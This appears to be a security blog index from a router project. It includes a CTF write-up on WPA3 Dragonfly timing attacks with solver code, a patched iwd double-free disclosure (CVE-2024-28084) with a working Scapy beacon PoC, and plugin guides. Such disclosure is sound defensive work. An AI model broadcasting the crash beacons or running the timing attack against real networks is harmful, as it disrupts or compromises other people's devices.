Skip to main content

· 7 min read

Midnight Sun Qualifiers 2024

Over the weekend a ctf team I help with, HackingForSoju, hosted the Midnight Sun CTF Qualifiers. The finals will take place in Stockholm, Sweden on June 14-16.

I put together a challenge around WPA3's Password Authenticated Key Exchange: Dragonfly

WPA3 has quite a few notes during our our wifi training where we discuss the background to the protocol, because it was so very worrisome from the start.

trouble

A Troubled PAKE

In 2013, when Dan Harkins first proposed Dragonfly many people pointed out that it was inferior to existing PAKEs. Arguably it did not steer clear of existing patents, its performance was quite bad, and very objectively it suffered terribly from sidechannels. It does not take great skill to spot them.

There's an IETF thread thread sums it up here. Trevor Perrin, who is behind the Double Ratchet in Signal designed with Moxie Marlinspike, sums up what cryptographers saw.

In response, Dan Harkins goes on the offensive with personal attacks, saying several things of this nature:

>
> It makes little sense to use a 1024-bit FFC group in any circumstances
> because (pardon me, Kevin) - fuck the NSA.

That certainly is a fashionable pose to strike these days!

But I brought up binding a 1024-bit FFC to a password because that's
what an RFC with your name on it does. So it makes sense to replace
"the NSA" in your sentence with "Trevor Perrin".

-- Dan Harkins

When the designer of a security algorithm finds it acceptable to behave this way, and the decision makers rubber stamp their actions, we should probably take a step back as a society and ask if irrational people should be the ones solving and creating the math problems that our security relies on.

So when the WiFi consortium used Dragonfly for WPA3 in 2018, many people were actually surprised, since they assumed Dragonfly would never make its way into widespread usage.

Dragonblood

As WPA3 entered the ecosystem, security experts started looking. In 2019 the world's leading wifi security expert, Mathy Vanhoef, with Eyal Ronen, demolished Dragonfly https://wpa3.mathyvanhoef.com. Many of the attacks were the same as initially outlined by Trevor Perrin as well as many other cryptographers in 2013.

The team also invented some novel mechanisms to attack Brainpool curves in particular. They proved that the hardening attempts with computing random values would provide statistical anomalies detectable by calculating timing variance.

What's even worse, under EAP-PWD (dragonfly with enterprise wifi), they found that implementaitons also accepted invalid curves, bypassing the password altogether.

Hardening was added to eliminate the remaining sidechannels.

The CTF Challenge

The qualifier's challenge celebrates these timing failures. Players had to remotely exploit a python implementation of Dragonfly that had the initial hardening only (always running 40 rounds).

The key insight is that the KDF for dragonfly is malleable based on the client's MAC address. Providing different MAC addresses creates unique timing signatures for a given AP MAC address and Password Shared Key.

The timing signature can then be compared offline against a password list to find the real password. With a vulnerable implementation this timing sidechannel is actually a lot more effective to exploit than cracking WPA2 keys which are protected with PBKDF2.

The easiest timing differences to exploit are that lines [2] and [3] only happen sometimes.

def initiate(self, other_mac, k=40):
"""
See algorithm in https://tools.ietf.org/html/rfc7664
in section 3.2.1
"""
self.other_mac = other_mac
found = 0
num_valid_points = 0
counter = 1
n = self.p.bit_length()

# Find x
while counter <= k:
base = self.compute_hashed_password(counter)
temp = self.key_derivation_function(n, base, b'Dragonfly Hunting And Pecking')
if temp >= self.p:
counter = counter + 1 [1]
continue
seed = temp
val = self.curve.secure_curve_equation(seed) [2]
if self.curve.secure_is_quadratic_residue(val): [3]
if num_valid_points < 5:
x = seed
save = base
found = 1
num_valid_points += 1
logger.debug('Got point after {} iterations'.format(counter))

counter = counter + 1

if found == 0:
logger.error('No valid point found after {} iterations'.format(k))
return False
elif found == 1:
# https://crypto.stackexchange.com/questions/6777/how-to-calculate-y-value-from-yy-mod-prime-efficiently
# https://rosettacode.org/wiki/Tonelli-Shanks_algorithm
y = tonelli_shanks(self.curve.curve_equation(x), self.p)

PE = Point(x, y)

# check valid point
assert self.curve.curve_equation(x) == pow(y, 2, self.p)

self.PE = PE
assert self.curve.valid(self.PE)
return True

To expand the timing window, so that players from around the world can exploit this remotely over TCP, many more multiplications were added through a "masking" operation where random values are computed alongside the real one at random, raising their cost to hundreds of milliseconds.

def secure_curve_equation(self, x):
"""
Do not leak hamming weights to power analysis
"""
idx = secrets.randbelow(self.dN)
defense = self.defense_masks + []
defense[idx] = x
for i in range(self.dN):
tmp = defense[idx]
defense[i] = self.curve_equation(defense[idx])
return defense[idx]


def secure_is_quadratic_residue(self, x):
"""
Do not leak hamming weights to power analysis
"""
idx = secrets.randbelow(self.dN)
defense = self.defense_masks + []
defense[idx] = x
for i in range(self.dN):
defense[i] = self.is_quadratic_residue(defense[i])
return defense[idx]

In practice this is good enough for several teams to attack the service simultaneously.

To effectively precompute passwords, an attacker can create an offline dictionary that only hashes and skips the large number math.

def initiate(self, other_mac, k=40):
self.other_mac = other_mac
counter = 1
counter2 = 1
n = self.p.bit_length()

# Find x
while counter <= k:
base = self.compute_hashed_password(counter)
temp = self.key_derivation_function(n, base, b'Dragonfly Hunting And Pecking')
if temp >= self.p:
counter = counter + 1
continue
counter2 += 1
counter = counter + 1
return counter2

The provided challenge also had a terrible way to convert a binary number which really slowed things down, and also had an off by one error probably.

# Convert returned_bits to the non-negative integer c (see Appendix C.2.1).
C = 0
for i in range(n):
if int(binary_repr[i]) == 1:
C += pow(2, n-i)

versus

X = int(binary_repr, 2)<<1

My solution normalized the remote timings to compare them with the offline compute.

def normalize_array(arr):
"""Normalize an array to be between 0 and 1."""
return (arr - arr.min()) / (arr.max() - arr.min())

def calc_mse(psk, timings, guess_timings):
y_actual = normalize_array(np.array(timings))
y_predicted = normalize_array(np.array(guess_timings))
mse = np.mean((y_actual - y_predicted) ** 2)
return mse

def solve_psk_fast(ap_mac, my_macs, timings):
computed = open("compute.txt","rb").readlines()
psk = None
best_mse = 100
for line in computed:
p, tmp = line.split(b"|")
p = p.strip().decode()
guess_timings = json.loads(tmp.strip())
mse = calc_mse(p, timings, guess_timings)
if mse < best_mse:
print("new best",mse,p)
best_mse = mse
psk = p
print(psk)
return psk

During the CTF the services were overwhelmed by naive solutions, so we ended up scaling it up, but it was a little bit frustrating for some teams at times. In the future we'll have to put remote timing attempts behind a queue and/or proof of work.

To make the challenge harder, teams were also given a second variant with a larger keyspace. Instead of 60k wordlist, they were asked to attack a random 36-alphabet 5 character password. 7 teams solved it. Hats off to the great work, since you understood something Dan Harkins pretended not to when it was explained to him by so many cryptographers.

If you'd like to learn more about these attacks, the Dragonblood paper is the one you'll want.

The up to date constant time implementation of the password element deriviation in hostapd is located here: https://w1.fi/cgit/hostap/tree/src/common/sae.c#n283.

· 2 min read

Introducing SPR-TailScale

We've released a new iteration of the TailScale integration for SPR! This plugin was put together with @willy_wong.

spr-tailscale

Under The Hood

Getting this plugin to work in the first place required some thinking. The first was addressing a key missing feature for SPR: interface-based firewall rules and routing.

firewall-custom-interface-rule-add

This capability lets SPR perform container microsegmentation. Any interface can be treated this way actually. It allows for connecting interfaces with policies and groups that SPR has not been explicitly programmed for, as well as providing them API access.

The TailScale plugin sets up its own policy based routing and firewall rules, so being able to run it inside of its own network namespace is ideal. SPR then uses the custom interface rule to route to the container's network and let it do the forwarding on its own.

Next, setting it up was awkward, painful. To fix this the SPR team added UX for plugins, and the ability to install a plugin via a URL with an OTP code verification. And today we've released this capability for spr-tailscale! It's supported from SPR version 0.3.7

spr-tailscale

What can it do ?

This integration lets SPR devices selectively access TailScale peers. And similarly, TailScale peers can be joined to SPR groups to give them access to SPR devices.

The Plugin presents a React Based UI and simplifies the install. After the install, a user needs to present their Auth Key and they're good to go.

The container can run as an exit node as well.

You can check out the spr-tailscale integration here!

· 3 min read

CVE-2024-28084 Patched in Inet Wireless Daemon 2.16

While preparing some wifi security training, we found a double free vulnerability affecting APs and Stations running iwd. This issue was reported and patched with fixes available starting in version 2.16.

Supernetworks & Memory Safety

Writing secure native code is not simple nor easy. With SPR we're striving to build a project that's secure by default with memory safety throughout the stack. We're continuing to develop a softmac-based solution to eliminate protocol parsing using native code in firmware, drivers and userland. If you're interested in joining this effort let us know.

We also offer WiFi & Network Security training spanning from Digital Signals Processing to Cryptography to Protocol and Coding safety covering enterprise wifi and WPA2/3. If you're interested get in touch at [email protected]

A Double Free With Less Than 30 Bytes

The issue can be triggered remotely by sending a malformed Information Element inside of a beacon, a probe request, or a probe response. These are unauthenticated frames that a malicious attacker with physical proximity can send remotely.

The double free happens while parsing a P2P Information Elements (IEs) with a malformed ADVERTISED_SVC_INFO attribute. In the context of the flaw, remote double frees are especially powerful as they can lead to information leaks to help bypass ASLR and other hardening measures.

Technical details are below.

Code Overview

Under p2p_parse_probe_resp(), the ADVERTISED_SVC_INFO attribute is captured.

	r = p2p_parse_attrs(pdu, len,
REQUIRED(P2P_CAPABILITY, &d.capability),
OPTIONAL(EXTENDED_LISTEN_TIMING,
&d.listen_availability),
OPTIONAL(NOTICE_OF_ABSENCE, &d.notice_of_absence),
REQUIRED(P2P_DEVICE_INFO, &d.device_info),
OPTIONAL(P2P_GROUP_INFO, &d.group_clients),
OPTIONAL(ADVERTISED_SVC_INFO, &d.advertised_svcs),
-1);

if (r >= 0)
memcpy(out, &d, sizeof(d));
else
p2p_clear_probe_resp(&d); [1]

return r;
}

While parsing this attribute in extract_p2p_advertised_service_info(), errors in processing will result in the queue pointer allocated at [3] to be released [4]:

static bool extract_p2p_advertised_service_info(const uint8_t *attr, size_t len,
void *data)
{
struct l_queue **out = data;
...

while (len) {
struct p2p_advertised_service_descriptor *desc;
int name_len;

if (len < 7)
goto error;

name_len = attr[6];
if (len < 7u + name_len)
goto error;

if (!l_utf8_validate((const char *) attr + 7, name_len, NULL))
goto error;

if (!*out)
*out = l_queue_new(); [3]


error:
l_queue_destroy(*out, p2p_clear_advertised_service_descriptor); [4]

However when the parent function finishes, p2p_clear_probe_resp() will also free [2] the advertised_svcs data structures.

void p2p_clear_probe_resp(struct p2p_probe_resp *data)
{
p2p_clear_notice_of_absence_attr(&data->notice_of_absence);
p2p_clear_device_info_attr(&data->device_info);
p2p_clear_group_info_attr(&data->group_clients);
p2p_clear_advertised_service_info_attr(&data->advertised_svcs); [2]
}

Scapy POC

"""
CVE-2024-28084 beacon double free vulnerability due to error handling in extract_p2p_advertised_service_info
"""
import sys
import os
from scapy.layers.dot11 import *
from scapy.arch import str2mac, get_if_raw_hwaddr
from time import time, sleep

def if_hwaddr(iff):
return str2mac(get_if_raw_hwaddr(iff)[1])

def config_mon(iface, channel):
"""set the interface in monitor mode and then change channel using iw"""
os.system("ip link set dev %s down" % iface)
os.system("iw dev %s set type monitor" % iface)
os.system("ip link set dev %s up" % iface)
os.system("iw dev %s set channel %d" % (iface, channel))

class AP:
def __init__(self, mac=None, mode="stdio", iface="wlan0", channel=1):
self.channel = channel
self.iface = iface
self.mode = mode
if self.mode == "iface":
if not mac:
mac = if_hwaddr(iface)
config_mon(iface, channel)
if not mac:
raise Exception("Need a mac")
else:
self.mac = mac

def get_radiotap_header(self):
return RadioTap()

def dot11_beacon(self, bssid):
crash=b"\xdd\x07" + b"\x50\x6f\x9a" + b"\x09" + b"\x19\x08\x00" + b"\xdd\x10" + b"\x50\x6f\x9a" + b"\x09" +b"\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
evil_packet = (
self.get_radiotap_header()
/ Dot11(
subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=bssid, addr3=bssid
)
/ Dot11Beacon(cap=0x3101)
/ crash
)
self.sendp(evil_packet)

def run(self):
self.interval = 0.05
while True:
self.dot11_beacon(self.mac)
# Sleep
sleep(self.interval)
return

def sendp(self, packet, verbose=False):
if self.mode == "stdio":
x = packet.build()
sys.stdout.buffer.write(struct.pack("<L", len(x)) + x)
sys.stdout.buffer.flush()
return
assert self.mode == "iface"
sendp(packet, iface=self.iface, verbose=False)


if __name__ == "__main__":
ap = AP(mode="iface", iface="wlan1", channel=1)
ap.run()

· 4 min read

Memory Corruption Hardening is Controversial Now?

Social Media has a lot of criticism lately for the push for memory safety as a metric for the labeling of software security. Between software supply chain susceptibility, command injection, and logic bugs obliterating software regularly, it doesn't seem like its the best candidate for a software safety metric.

The background for why the federal government is reporting in the area is E.O. 14028

From the EO there's several pushes for software and network safety. These are things like requiring Zero Trust Access for the Federal Government, EDR on federal systems for monitoring and responding to attacks, SBOMs for supply chain safety, and creating safety standards for IOT devices. Although the main focus is the federal government there's an aim to push out software safety standards to the public as a whole.

And it's regulation for consumers that I see getting some criticism. NIST's key areas interact with the labeling of safety for IOT and consumer software -- which has everyone skeptical because the government may not seem to be the best equipped for leading edge software practices, and regulatory overhead will raise the burden for software developers without necessarily moving software security forward.

nist-timeline

On memory safety specifically, two key documents have been released over the past two quarters. The first is CISA's report on Memory Safety. The second is the ONCD Report on Measuring Memory Safety.

Software Looks Very Fragile When You're Good At Exploitation

My take on memory safety is that it looks a lot more urgent from the vantage point of an organization with a fully stocked arsenal. Many pieces of software really start to look like an open door. And there's just a lot they see the public doesn't have regular access to.

To an individual or even a team of defenders at a top 10 tier tech company, things might seem a lot less urgent than they do the whitehouse because exploitation has become difficult. We've come quite a long way since Operation Aurora where attackers could spray the 32-bit address space with nops and shellcode to execute code. Between 64-bit address spaces, CFI, ASLR, memory tagging, MTE, shadow stacks, EDR kernel sensors, single-process unikernels, scanners in security coprocessors, yes -- whole swathes of crashes are made interceptable, unexploitable, or vastly unreliable.

It takes whole teams to make successful exploit chains against rich and common attack surfaces. However, if the cost of not having a capability is more than the price of making it, it becomes increasing probable that an exploit will exist until software begins to be fundamentally secure. Ten million, fifty million, a hundred million dollars seems like a ton of money for an exploit chain that's one patch away from disappearing. But to the federal government that can create trillions of dollars to solve a global crisis, that amount of funding remains a rounding error.

Likewise, defenders at the US federal government and its partners have access to ongoing and recent attack trends. They see how attackers surreptitiously take advantage of flaws that may not always become public or fully known. To them the situation might look a lot more untenable than it does to leading edge software developers from the tech giants.

Defender Advantage Through Regulatory Controls

On one hand -- regulatory burden like we've seen with GDPR in the EU can really hurt developers, as well as user experience. Does anyone feel like the EU solved privacy for citizens or do they feel more surveilled than ever? On the other hand, regulation might just be the thing that helps secure software overcome the marketing department at Insecure Vendor Co. or helps Ada win against C or creates a market for new architectures.

On performance: if we're cool with shipping web browsers as native apps with a million NPM packages, we'll probably survive okay with compilers that waste instructions.

· 3 min read

The I Soon Dump

"The documents come from iSoon, also known as Auxun, a Chinese firm headquartered in Shanghai that sells third-party hacking and data-gathering services to Chinese government bureaus, security groups and state-owned enterprises. "

The Washington Post writes that "The documents show that iSoon met and worked with members of APT41, a Chinese hacking group that was charged by the U.S. Justice Department in 2020 for targeting more than 100 video game firms, universities and other victims worldwide."

WiFi Capability: Hardware Implants

The dump has a product catalogue that starting from page 18, describes hardware implants for persistent access to target environments. These implants are used for accessing a victim network without having to evade outbound proxies or firewalls, where security monitoring might take place. So they can attack the squishy inside directly.

They communicate to targets over WiFi and exfiltrate over 3G/4G.

implantable-device

  • They are small, portable, and have 3G/4G internet connectivity
  • They can be powered or run on a 10A battery that lasts 8-20 hours depending on activity
  • They can be embedded into a decoy power bank or other device

WiFi Attack System

Attackers can also connect into the sensors over 4G connectivity and then attack the environment over WiFi. It has standard capabilities one finds in tools like Kali Linux.

wifi-software-kit

  • WEP/WPS/WPA/WPA2 cracking
  • Cracking can also be done via a more powerful cloud system
  • Once on a network the device can inspect packets for hashes
  • Once on a network the device can brute force login credentials for routers
  • The device can proxy traffic to the local network

Uniquely:

  • The device can self destruct

What's Not in The Dump

What we don't see a cache of ready to go router exploits, patched or unpatched, as well as software/firmware capabilities for unpatched IOT devices which are soft targets on wifi.

Closing Thoughts on Detection

  • Nothing in the documents hits on masquerading implants by MAC address. A good asset inventory might go a long way when the device joins the network
  • Tools like Nzyme can help detect WiFi Cracking attempts as well as detect rogue APs in the environment. SPR supports nzyme taps
  • Building a baseline of WiFi APs would be the best way a defender can detect a WiFi Implant entering the environment
  • Defenders need internal network sensors as well as sensors on the outbound network
  • A zero-trust network setup would help mitigate this type of implant reaching an asset's networked resources, but would still leave client devices vulnerable to Rogue AP attacks unless they employ zero-trust principles for WiFi connectivity (like EAP-TLS/EAP-TTLS or per-device WPA3 personal passwords)

· 4 min read

Alerting Made Easy

We've rolled out a lightweight alerting mechanism built right inside of SPR.

So SPR already has an event system and we wanted to improve the existing notification system as well as persist alerts for later.

We wanted something with the following properties:

  • Allow powerful matching expressions
  • Work with our lightweight key-value database for concurrent access
  • Minimal system performance impact
  • User Customizable, in UX with minimal coding

The stack

We carry extensive experience building threat detection products in the infosec space. Typically these have been substantial systems where event and graph databases manage petabytes of information, and reports get generated as part of data pipelines or by processing during ingestion.

We wanted to keep it simple. So this is the stack we've settled on for alerts:

  • Run alert matching during event ingestion
  • Keep using BoltDB as a KV which scales well and is already built
  • Use PaesslerAG/jsonpath and gval for JSONPath expressions and evaluation
  • Extensible later with custom operators and functions. We get this from gval
  • UX with our React frontend

For advanced users, exporting to InfluxDB, Splunk, or ELK can be done with the sprbus tools or by pulling the API for events, so threat detection experts can integrate SPR data into more sophisticated detection tools.

Expression Matching with JSONPath

Let's quickly take a tour of JSONPath.

alerts-custom

JSONPath is a query syntax for matching fields of a JSON Object.

Consider the event below

{
"MAC": "30:58:90:32:7d:e5",
"Reason": "mismatch",
"Status": "",
"Type": "wpa",
"time": "2024-02-02T04:10:19.511662376Z",
"bucket": "wifi:auth:fail",
"MeaningOfLife": 42
}

To retrieve the MeaningOfLife field, we can construct the following path:

$.MeaningOfLife which returns 42.

Looking at the basic operators for JSONPath, its very much built to recurse objects and iterate through arrays. alerts-custom

So suppose we have an array of events, we can build a filter expression to query for matches.

[
{
"MAC": "30:58:90:32:7d:e5",
"Reason": "mismatch",
"Status": "",
"Type": "wpa",
"time": "2024-02-02T04:10:19.511662376Z",
"bucket": "wifi:auth:fail",
"MeaningOfLife": 42
}
]

To pull out events with MeaningOfLife 42, we would apply this query:

$[?(@.MeaningOfLife==42)]

We could also use other mathematical comparisons

$[?(@.MeaningOfLife>0)]

Or with gval we can even add numbers

$[?(@.MeaningOfLife>(1+10))]

Other useful ways to match are regular expressions on strings:

$[?(@.Reason=~"^mismatch$")]

JSONPath in SPR

The best part is we don't need a SQL schema to get started. JSONPath work for all of the events in SPR. It may seem a bit intimidating at first, and we hide out some of the extra syntax $[?@(.)]. However, this provides a lot of flexibility and is relatively easy once you get the hang of it.

alerts-custom

To simplify rule writing we allow multiple JSONPath queries and provide toggles for inverting logic as well as Match One (OR) or Match Any (AND). Each JSONPath query can match on multiple fields too.

The JSONPath query language is also available under the events search view for searching.

Customizability & Decorators

Alerts can Notify in the UI or they can sit on the Alerts page for triaging. When defining an alert, users can fill out the 'Title' and 'Body' for the alert to display. These support a templating language, for populating text with fields from the Alert Event. Furthermore, we've added a few decorators with hashtags to convert identifiers to device icons or go from something like a MAC address to a device name or IP Address.

Templates expand event fields inside of curly brackets as elow: MAC Mismatch IP Violation {{IP.SrcIP#Device}} {{IP.SrcIP}} {{Ethernet.SrcMAC}} to {{IP.DstIP}} {{Ethernet.DstMAC}}

Check out the guide for more details about how to configure alerts.

Need a feature?

If you'd like to see more added or have a question, don't hesitate to file a github issue or reach out on our discord

alerts-overview

· 5 min read

What a year it's been for the Secure Programmable Router (SPR) project! We've made great strides in empowering users to take control of their networks, prioritize privacy, and unlock network configurability. Let's dive right into the highlights of 2023 and peek at what's in store for the future.

device-list

Major Accomplishments:

  • iOS App Launch: We've extended network management to your fingertips with the release of our official iOS app on the App Store. We're thankful to our users from almost each and every region on the App Store.
  • PLUS Membership: Our community now has the option to support the project with PLUS and unlock advanced features like:
    • Mesh networking for seamless coverage with multiple APs
    • Site VPN support for selectively routing traffic through a remote Wireguard VPN
    • Advanced firewall rules with scheduling, domain name, and regular expression support
  • Shipping Dev Kits. After the global supply chain crunch, we're proud to be shipping dev kits to users
  • Microsegmentation for Containers: We've taken SPR's container support to the next level with integrated container microsegmentation, enabling granular control over container and interface traffic.
  • VLAN Trunk Support: SPR can work as a wired firewall as well. Connect devices to your SPR network securely through a managed switch, with SPR terminating a VLAN Trunk Port.
  • Expanded Network Visibility: Our new event bus, database, and configurable alerting mechanism provide key insights into network activity, empowering users to detect and troubleshoot issues effectively and analyze IOT & device traffic.

Thank you to our users!

  • We Build For You: We're incredibly grateful for our active user base and their invaluable suggestions. Your feedback drives our development roadmap! Join the conversation on Discord or create a GitHub request to share your ideas. Many of SPR's capabilities come from requests. Some of the feature requests that have landed are wifi scanning from the UI, the lan_upstream tag for restricting and managing access to upstream local networks to enable secure router chaining, and load balancing support across multiple Uplink interfaces.

  • Privacy and Ad Blocking Excellence: SPR continues to excel as a self-hosted WireGuard + DNS Ad block solution, offering unmatched configurability with per-device rules, easy exception management, and upstream DNS over HTTPS support for enhanced privacy. Users can get these capabilities by self hosting in the cloud as well as running SPR at home as a router.

  • Network Debugging Made Easy: Users have been able to use SPR to successfully debug connectivity issues with devices like Ring cameras, pinpointing problems with Amazon's cloud services rather than home Wi-Fi although Ring may say otherwise.

  • Uncovering Unauthorized Access: Event logs have helped users identify and address unauthorized access attempts, including scenarios like accidental connections from new neighbors moving in.

  • Speedier WiFi: Even with our Raspberry Pi dev kits, users report impressive speeds between 500-700 Mbps over USB3, surpassing their previous routers. With MT7915/6 cards, SPR users today can enjoy actual WiFi 6 gigabit (1000+ Mbps) connectivity over 2 spatial streams as measured with iperf3.

Technical Research:

  • Unscathed by MacStealer: SPR's design was further validated by the MacStealer (CVE-2022-47522) flaws. MacStealer bypassed most Client Isolation approaches due to state errors in low level firmware with MAC address handling. SPR's per-device VLAN and per-device password approach is totally immune to this category of protocol flaws.

  • Research AP in Scapy: We've developed functional WPA2 AP research scripts in Scapy for working with Wi-Fi frames, compatible with mac80211_hwsim and real wireless cards. (https://github.com/spr-networks/barely-ap).

  • Turtles WiFi Hacking While waiting for the supply chain to unlock at the start of the year, we put together some wifi security training focused on protocol. We actually let people boot a kernel for a self hosted wireless lab, in the browser. Or people can play offline in containers. This is a bit different than other labs which teach people to run prebuilt software as we guide people towards working at the packet level. Check it out here

device-list

2023's Hardware In Pictures

pi4 Pi4 with a Mediatek MT76-based USB3 Adapter

pi4 Solidrun Clearfog Dev Kit

The Road Ahead:

  • Empowering Plugins: Our next major focus is facilitating community-built plugins. We've already created prototypes for Tailscale support and mitmproxy, and we're working on UI integration and streamlined installation to make plugin usage as seamless as possible without sacrificing security.
  • PI5 Router with WiFi-6: Our next hardware device will be a a PI5-based router packaged with wifi-6 support.
  • Eliminating firmware risk We're also developing software to eliminate firmware attack surfaces with WiFi.

Join the Movement:

We invite you to be part of the SPR journey! Contribute to development, share your feedback, and help us shape the future of open-source networking. Together, we can build a more secure, private, and customizable internet experience for everyone.

Visit our website and GitHub repository to learn more and get involved

· One min read

Nzyme lets people monitor their wifi networks with sensors that collect wifi data (as well as network traffic).

It can detect common wifi attack tools and tactics like deauths for getting WPA2 handshakes to crack, rogue APs, and more.

We've put together a plugin that can run alongside the SPR AP without affecting the channels, by creating a monitor interface. While this won't be able to detect Rogue APs, it can detect some anomalous activity.

The plugin is available at https://github.com/spr-networks/spr-nzyme-tap/

· 2 min read

Update

This post has become a guide which is being kept up to date, check it out!

Overview

In this post we'll show how PLUS members can add a mitmproxy plugin to their SPR setup, and then use the Programmable Firewall (PFW) plugin to redirect traffic through mitmproxy with DNAT forwarding.

We do not need to configure our clients with proxy settings to point to mitmproxy, or rewrite DNS responses, since we are using the PFW feature to do the redirection.

This plugin is available on github.

Prepare the plugin

from the SPR directory, typically /home/spr/super

cd plugins
git clone https://github.com/spr-networks/spr-mitmproxy
echo [\"plugins/spr-mitmproxy/docker-compose.yml\"] > ../configs/base/custom_compose_paths.json
cd spr-mitmproxy
docker compose build

Configure SPR

  1. Navigate to the SPR UI. Add mitmproxy under the Plugins page
  • be sure its been added to configs/base/custom_compose_paths.json as above
  • Enable it by toggling the slider
  1. Add mitmweb0 to the custom interface rules. You can verify your container's network address in the Container tab -> Under Firewall-> Custom Interface Access Add a new rule, make sure mitmproxy has wan at least to access the internet.

  1. Create a forwarding rule to the container web interface :8081. Pick an arbitrary IP in the subnet -- although not the same one as the container as that confuses dnat.

  2. Create a site forward rule with PFW for traffic to intercept

Using mitmproxy

Then make a curl request from any of the LAN devices, and it should populate on the mitmweb host. This was the :8081 host that was earlier defined

Leveraging Transparent Sockets

Behind the scenes, mitmproxy is using transparent sockets with DNAT. Inside the container network, we establish dnat rules to mitmproxy from incoming ports 80, 443.

#!/bin/bash

nft -f - << EOF
table inet nat {
chain prerouting {
type nat hook prerouting priority filter; policy accept;
tcp dport { 80, 443 } dnat ip to 127.0.0.1:9999
}
}
EOF

mitmweb -p 9999 -m transparent --web-host 0.0.0.0

We'd love to hear from you

We're always thrilled to get feedback on plugins people would like to see, and we're excited to hear about what people will be able to do with mitmproxy running alongside SPR. Drop a line at outreach[at]supernetworks.org or join us on discord

· 5 min read

The built-in wifi radio on a Raspberry Pi 4 is kind of sad, as it does not support monitor mode. Luckily the hackers at Seemo Labs have fixed this.

In this post we'll describe how to load Seemoo's Nexmon onto a pi4 running a modern kernel, and package it into a SPR Plugin named spr-nexmon. We'll demonstrate that packet capture and injection works.

First, we will copy the template plugin

$ cp -R super/api_sample_plugin/ spr-nexmon

Development

Prebuilt binaries

We'll use some prebuilt binaries that include

  • the nexmon firmware build for the broadcom wifi radio
  • the 6.2 kernel build
  • the nexutil binary

These were built from the 6.1/6.2 support pull-request

$ cp -R ../nexmon/binaries spr-nexmon/binaries

Docker preparations

We'll update the Dockerfile to include some useful tools and build the project.

FROM ubuntu:23.04 as builder
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update
RUN apt-get install -y --no-install-recommends nano ca-certificates git curl
RUN mkdir /code
WORKDIR /code
ARG TARGETARCH
RUN curl -O https://dl.google.com/go/go1.20.linux-${TARGETARCH}.tar.gz
RUN rm -rf /usr/local/go && tar -C /usr/local -xzf go1.20.linux-${TARGETARCH}.tar.gz
ENV PATH="/usr/local/go/bin:$PATH"
COPY code/ /code/

ARG USE_TMPFS=true
RUN --mount=type=tmpfs,target=/tmpfs \
[ "$USE_TMPFS" = "true" ] && ln -s /tmpfs /root/go; \
go build -ldflags "-s -w" -o /nexmon_plugin /code/nexmon_plugin.go


FROM ghcr.io/spr-networks/container_template:latest
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends tcpdump kmod iw wireless-regdb && rm -rf /var/lib/apt/lists/*
COPY scripts /scripts/
COPY --from=builder /nexmon_plugin /
COPY binaries/ nexmon/
ENTRYPOINT ["/scripts/startup.sh"]

We also want this container to use the host network and be privileged so it can load kernel modules. And we'll also set it to restart automatically

And heres the docker-compose.yml:

version: '3.4'

x-logging:
&default-logging
driver: journald

x-labels:
&default-labels
org.supernetworks.ci: ${CI:-false}
org.supernetworks.version: ${RELEASE_VERSION:-latest}${RELEASE_CHANNEL:-}

services:
nexmon:
container_name: supernexmon
build:
context: .
labels: *default-labels
logging: *default-logging
restart: always
network_mode: host
privileged: true
volumes:
- /etc/timezone:/etc/timezone:ro
- /etc/localtime:/etc/localtime:ro
- /lib/firmware/cypress/:/lib/firmware/cypress/
- "${SUPERDIR}./state/plugins/nexmon:/state/plugins/nexmon"
- "${SUPERDIR}./state/public/:/state/public/:ro"

Extending the SPR API

The Nexmon patch breaks the ability to change channels normally. Instead, we can do it with the 'nexutil' binary that nexmon provides.

We'll rename sample_plugin.go to nexmon_plugin.go and define a new function

func changeChannel(w http.ResponseWriter, r *http.Request) {
channel := r.URL.Query().Get("channel")

// Use regexp.MatchString to check if the input matches the pattern
matches, err := regexp.MatchString("^[0-9/]*$", channel)
if err != nil || !matches {
http.Error(w, "Invalid channel string", 400)
return
}

err = exec.Command("/nexmon/nexutil", "-k"+channel).Run()
if err != nil {
http.Error(w, err.Error(), 400)
return
}
}
//...
func main() {
//...
unix_plugin_router.HandleFunc("/change_channel", changeChannel).Methods("PUT")
}

Updating the startup script

When the container runs, we'll have it make sure the seemo firmware and kernel module are loaded fresh.

startup.sh:

#!/bin/bash

cd /nexmon
cp brcmfmac43455-sdio.bin /lib/firmware/cypress/cyfmac43455-sdio-standard.bin

rmmod brcmfmac_wcc
rmmod brcmfmac

insmod brcmfmac.ko

sleep 1

iw phy `iw dev wlan0 info | awk '/wiphy/ {printf "phy" $2}'` interface add mon0 type monitor

echo [+] Loaded

cd /
/nexmon_plugin

Loading

After building, with docker compose build, we'll configure the API to load the plugin.

In the UI or by modifying configs/base/api.json, add the nexmon plugin*

{
"Name": "nexmon",
"URI": "nexmon",
"UnixPath": "/state/plugins/nexmon/socket",
"Enabled": true,
"Plus": false,
"GitURL": "",
"ComposeFilePath": ""
}

Start the plugin with

SUPERDIR=/home/spr/super/ docker compose up -d

Testing

Running tcpdump should show captured 802.11 packets from the environment

# tcpdump -i wlan0 ...

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), snapshot length 262144 bytes
22:50:27.005540 1876482302us tsft 1.0 Mb/s 2412 MHz 11b -68dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY
22:50:27.046106 1876522917us tsft 1.0 Mb/s 2412 MHz 11b -46dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY
22:50:27.107930 1876584711us tsft 1.0 Mb/s 2412 MHz 11b -70dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY
22:50:27.148500 1876625317us tsft 1.0 Mb/s 2412 MHz 11b -46dBm signal 0dBm noise Beacon (wifi-2.4) [1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 Mbit] ESS CH: 1, PRIVACY
